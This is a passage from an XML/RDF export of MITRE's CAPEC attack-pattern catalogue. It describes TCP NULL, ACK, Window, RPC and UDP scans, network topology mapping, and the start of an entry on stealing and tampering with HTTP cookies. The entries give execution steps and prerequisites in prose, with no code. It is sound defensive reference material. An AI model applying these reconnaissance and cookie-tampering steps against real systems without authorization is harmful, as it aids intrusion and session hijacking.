304 + + + + + TCP Null Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition to being fast, the major advantage of this scan type is its ability to scan through stateless firewall or ACL filters. Such filters are configured to block access to ports usually by preventing SYN packets, thus stopping any attempt to 'build' a connection. NULL packets, like out-of-state FIN or ACK packets, tend to pass through such devices undetected. Additionally, because open ports are inferred via no responses being generated, one cannot distinguish an open port from a filtered port without further analysis. For instance, NULL scanning a system protected by a stateful firewall may indicate all ports being open. Because of their obvious rule-breaking nature, NULL scans are flagged by almost all intrusion prevention or intrusion detection systems.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17719 + Related_Attack_Pattern_17719 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17722 + Attack_Step_17722 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends TCP packets with no flags set and that are not associated with an existing connection to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17727 + Attack_Step_17727 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. If no response is received the port is open. If a RST packet is received then the port is closed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires logical access to the target network. NULL scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack can be carried out via a network mapper/scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17740 + Consequence_17740 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17744 + Consequence_17744 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust network defensive posture that includes a managed IDS/IPS.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17759 + Reference_17759 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference17760 + Reference_17760 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17762 + Reference_17762 + + + + + + + + + REF-34 + + + + + Section 5.5 TCP FIN, NULL, XMAS Scans, pg. 107 + + + + + + + + + + + + #indReferenceReference17763 + Reference_17763 + + + + + + + + + REF-130 + + + + + + + + + + + + #indNoteNote17766 + Note_17766 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many operating systems do not implement RFC 793 exactly and for this reason NULL scans do not work as expected against these devices. Some operating systems, like Microsoft Windows, send a RST packet in response to any out-of-sync (or malformed) TCP segments received by a listening socket (rather than dropping the packet via RFC 793), thus preventing the adversary from distinguishing between open and closed ports. NULL scans are limited by the range of platforms against which they work.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory17768 + Content_History_17768 + + + + + + + + + + + + + + + + #indSubmissionSubmission17769 + Submission_17769 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17774 + Modification_17774 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification17780 + Modification_17780 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow, Mitigations, Notes + + + + + + + + + + + + #indModificationModification17786 + Modification_17786 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-305 + TCP ACK Scan + + + + + + + + + 305 + + + + + TCP ACK Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When a TCP ACK segment is sent to a closed port, or sent out-of-sync to a listening port, the RFC 793 expected behavior is for the device to respond with a RST. Getting RSTs back in response to a ACK scan gives the attacker useful information that can be used to infer the type of firewall present. Stateful firewalls will discard out-of-sync ACK packets, leading to no response. When this occurs the port is marked as filtered. When RSTs are received in response, the ports are marked as unfiltered, as the ACK packets solicited the expected behavior from a port. When combined with SYN techniques an attacker can gain a more complete picture of which types of packets get through to a host and thereby map out its firewall rule-set. ACK scanning, when combined with SYN scanning, also allows the adversary to analyze whether a firewall is stateful or non-stateful (described in notes). TCP ACK Scans are somewhat faster and more stealthy than other types of scans but often requires rather sophisticated analysis by an experienced person. A skilled adversary may use this method to map out firewall rules, but the results of ACK scanning will be less useful to a novice.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17801 + Related_Attack_Pattern_17801 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17804 + Attack_Step_17804 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends TCP packets with the ACK flag set and that are not associated with an existing connection to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17809 + Attack_Step_17809 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. If a RST packet is received the target port is either closed or the ACK was sent out-of-sync. If no response is received, the target is likely using a stateful firewall.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires logical access to the target network. ACK scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17822 + Consequence_17822 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17826 + Consequence_17826 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference17838 + Reference_17838 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 55-56 + + + + + + + + + + + + #indReferenceReference17839 + Reference_17839 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17840 + Reference_17840 + + + + + + + + + REF-34 + + + + + Section 5.7 TCP ACK Scan, pg. 113 + + + + + + + + + + + + #indReferenceReference17841 + Reference_17841 + + + + + + + + + REF-130 + + + + + + + + + + + + #indNoteNote17844 + Note_17844 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If a SYN solicits a SYN/ACK or a RST and an ACK solicits a RST, the port is unfiltered by any firewall type. If a SYN solicits a SYN/ACK, but an ACK generates no response, the port is statefully filtered. When a SYN generates neither a SYN/ACK or a RST, but an ACK generates a RST, the port is statefully filtered. When neither SYN nor ACK generates any response, the port is blocked by a specific firewall rule, which can occur via any type of firewall.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory17846 + Content_History_17846 + + + + + + + + + + + + + + + + #indSubmissionSubmission17847 + Submission_17847 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17852 + Modification_17852 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description, Description Summary, References, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification17858 + Modification_17858 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Execution_Flow, Notes + + + + + + + + + + + + #indModificationModification17864 + Modification_17864 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-306 + TCP Window Scan + + + + + + + + + 306 + + + + + TCP Window Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17876 + Related_Attack_Pattern_17876 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17879 + Attack_Step_17879 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends TCP packets with the ACK flag set and that are not associated with an existing connection to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17884 + Attack_Step_17884 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. Specifically, the adversary views the TCP window size from the returned RST packet if one was received. Depending on the target operating system, a positive window size may indicate an open port while a negative window size may indicate a closed port.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP Window scanning requires the use of raw sockets, and thus cannot be performed from some Windows systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send TCP segments with a custom window size to a host during network reconnaissance. This can be achieved via the use of a network mapper or scanner, or via raw socket programming in a scripting language. Packet injection tools are also useful for this purpose. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17897 + Consequence_17897 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17901 + Consequence_17901 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference17913 + Reference_17913 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 55-56 + + + + + + + + + + + + #indReferenceReference17914 + Reference_17914 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference17915 + Reference_17915 + + + + + + + + + REF-34 + + + + + Section 5.8 TCP Window Scan, pg. 115 + + + + + + + + + + + + #indReferenceReference17916 + Reference_17916 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory17918 + Content_History_17918 + + + + + + + + + + + + + + + + #indSubmissionSubmission17919 + Submission_17919 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17924 + Modification_17924 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification17930 + Modification_17930 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-307 + TCP RPC Scan + + + + + + + + + 307 + + + + + TCP RPC Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary scans for RPC services listing on a Unix/Linux host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This type of scan can be obtained via native operating system utilities or via port scanners like nmap. When performed by a scanner, an RPC datagram is sent to a list of UDP ports and the response is recorded. Particular types of responses can be indicative of well-known RPC services running on a UDP port. Discovering RPC services gives the adversary potential targets to attack, as some RPC services are insecure by default.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Direct RPC scans that bypass portmapper/sunrpc are typically slow compare to other scan types, are easily detected by IPS/IDS systems, and can only detect open ports when an RPC service responds. ICMP diagnostic message responses can help identify closed ports, however filtered and unfiltered ports cannot be identified through TCP RPC scans. There are two general approaches to RPC scanning: One is to use a native operating system utility, or script, to query the portmapper/rpcbind application running on port 111. Portmapper will return a list of registered RPC services. Alternately, one can use a port scanner or script to scan for RPC services directly.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern17946 + Related_Attack_Pattern_17946 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep17949 + Attack_Step_17949 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends RCP packets to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep17954 + Attack_Step_17954 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine which, if any, RPC service is running on that port. Responses will vary based on which RPC service is running.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">RPC scanning requires no special privileges when it is performed via a native system utility.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to craft custom RPC datagrams for use during network reconnaissance via native OS utilities or a port scanning tool. By tailoring the bytes injected one can scan for specific RPC-registered services. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence17967 + Consequence_17967 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence17971 + Consequence_17971 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Typically, an IDS/IPS system is very effective against this type of attack.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference17986 + Reference_17986 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference17987 + Reference_17987 + + + + + + + + + REF-158 + + + + + + + + + + + + #indReferenceReference17988 + Reference_17988 + + + + + + + + + REF-34 + + + + + Section 7.5.2 RPC Grinding, pg. 156 + + + + + + + + + + + + #indReferenceReference17989 + Reference_17989 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory17991 + Content_History_17991 + + + + + + + + + + + + + + + + #indSubmissionSubmission17992 + Submission_17992 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification17997 + Modification_17997 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, References, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification18003 + Modification_18003 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification18009 + Modification_18009 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-308 + UDP Scan + + + + + + + + + 308 + + + + + UDP Scan + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;During a UDP scan, a datagram is sent to a target port. If an 'ICMP Type 3 Port unreachable' error message is returned then the port is considered closed. Different types of ICMP messages can indicate a filtered port. UDP scanning is slower than TCP scanning. The protocol characteristics of UDP make port scanning inherently more difficult than with TCP, as well as dependent upon ICMP for accurate scanning. Due to ambiguities that can arise between open ports and filtered ports, UDP scanning results often require a high degree of interpretation and further testing to refine. In general, UDP scanning results are less reliable or accurate than TCP-based scanning.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18024 + Related_Attack_Pattern_18024 + + + + + + + + + + + + + + 300 + + + + + + + + + + + + #indAttackStepAttackStep18027 + Attack_Step_18027 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends UDP packets to target ports.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18032 + Attack_Step_18032 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses the response from the target to determine the port's state. Whether a port responds to a UDP packet is dependant on what application is listening on that port. No response does not indicate the port is not open.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to send UDP datagrams to a host and receive ICMP error messages from that host. In cases where particular types of ICMP messaging is disallowed, the reliability of UDP scanning drops off sharply.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to craft custom UDP Packets for use during network reconnaissance. This can be accomplished via the use of a port scanner, or via socket manipulation in a programming or scripting language. Packet injection tools are also useful. It is also necessary to trap ICMP diagnostic messages during this process. Depending upon the method used it may be necessary to sniff the network in order to see the response.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18045 + Consequence_18045 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18049 + Consequence_18049 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Firewalls or ACLs which block egress ICMP error types effectively prevent UDP scans from returning any useful information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">UDP scanning is complicated by rate limiting mechanisms governing ICMP error messages.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indReferenceReference18065 + Reference_18065 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 54-69 + + + + + + + + + + + + #indReferenceReference18066 + Reference_18066 + + + + + + + + + REF-158 + + + + + + + + + + + + #indReferenceReference18067 + Reference_18067 + + + + + + + + + REF-34 + + + + + Section 5.4 RPC Grinding, pg. 101 + + + + + + + + + + + + #indReferenceReference18068 + Reference_18068 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18070 + Content_History_18070 + + + + + + + + + + + + + + + + #indSubmissionSubmission18071 + Submission_18071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18076 + Modification_18076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, References, Related_Weaknesses, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification18082 + Modification_18082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification18088 + Modification_18088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-309 + Network Topology Mapping + + + + + + + + + 309 + + + + + Network Topology Mapping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18100 + Related_Attack_Pattern_18100 + + + + + + + + + + + + + + 169 + + + + + 512 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18103 + Related_Attack_Pattern_18103 + + + + + + + + + + + + + + 664 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Probing requires the ability to interactively send and receive data from a target, whereas passive listening requires a sufficient understanding of the protocol to analyze a preexisting channel of communication.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18112 + Consequence_18112 + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemNetworkConfigurationDiscovery + System Network Configuration Discovery + + + + + + + + + + + + + + 1016 + + + + + System Network Configuration Discovery + + + + + + + + + + + + #indTaxonomyMappingSystemNetworkConnectionsDiscovery + System Network Connections Discovery + + + + + + + + + + + + + + 1049 + + + + + System Network Connections Discovery + + + + + + + + + + + + #indTaxonomyMappingGatherVictimNetworkInformation + Gather Victim Network Information + + + + + + + + + + + + + + 1590 + + + + + Gather Victim Network Information + + + + + + + + + + + + #indReferenceReference18135 + Reference_18135 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18136 + Reference_18136 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18137 + Reference_18137 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18139 + Content_History_18139 + + + + + + + + + + + + + + + + #indSubmissionSubmission18140 + Submission_18140 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18145 + Modification_18145 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification18151 + Modification_18151 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification18157 + Modification_18157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification18163 + Modification_18163 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification18169 + Modification_18169 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification18175 + Modification_18175 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18181 + Modification_18181 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-31 + Accessing/Intercepting/Modifying HTTP Cookies + + + + + + + + + 31 + + + + + Accessing/Intercepting/Modifying HTTP Cookies + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18196 + Related_Attack_Pattern_18196 + + + + + + + + + + + + + + 39 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18197 + Related_Attack_Pattern_18197 + + + + + + + + + + + + + + 157 + + + + + 513 + + + + + + + + + + + + #indAttackStepAttackStep18202 + Attack_Step_18202 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain copy of cookie] The adversary first needs to obtain a copy of the cookie. The adversary may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sniff cookie using a network sniffer such as Wireshark</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain cookie using a utility such as the Firefox Cookie Manager, Chrome DevTools or AnEC Cookie Editor.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Steal cookie via a cross-site scripting attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Guess cookie contents if it contains predictable information.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18211 + Attack_Step_18211 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain sensitive information from cookie] The adversary may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If cookie shows any signs of being encoded using a standard scheme such as base64, decode it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Analyze the cookie's contents to determine whether it contains any sensitive information.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18218 + Attack_Step_18218 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify cookie to subvert security controls.] The adversary may be able to modify or replace cookies to bypass security controls in the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify logical parts of cookie and send it back to server to observe the effects.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify numeric parts of cookie arithmetically and send it back to server to observe the effects.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify cookie bitwise and send it back to server to observe the effects.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend their points and then replace their cookie with an older one to restore their balance.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target server software must be a HTTP daemon that relies on cookies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The cookies must contain sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to make HTTP requests to the server, and the cookie must be contained in the reply.</xhtml:div> + + + + + + + + + + + + #indSkillSkill18234 + Skill_18234 + + + + + + + + + + + + + + To overwrite session cookie data, and submit targeted attacks via HTTP + + + + + + + + + + + + #indSkillSkill18235 + Skill_18235 + + + + + + + + + + + + + + Exploiting a remote buffer overflow generated by attack + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A utility that allows for the viewing and 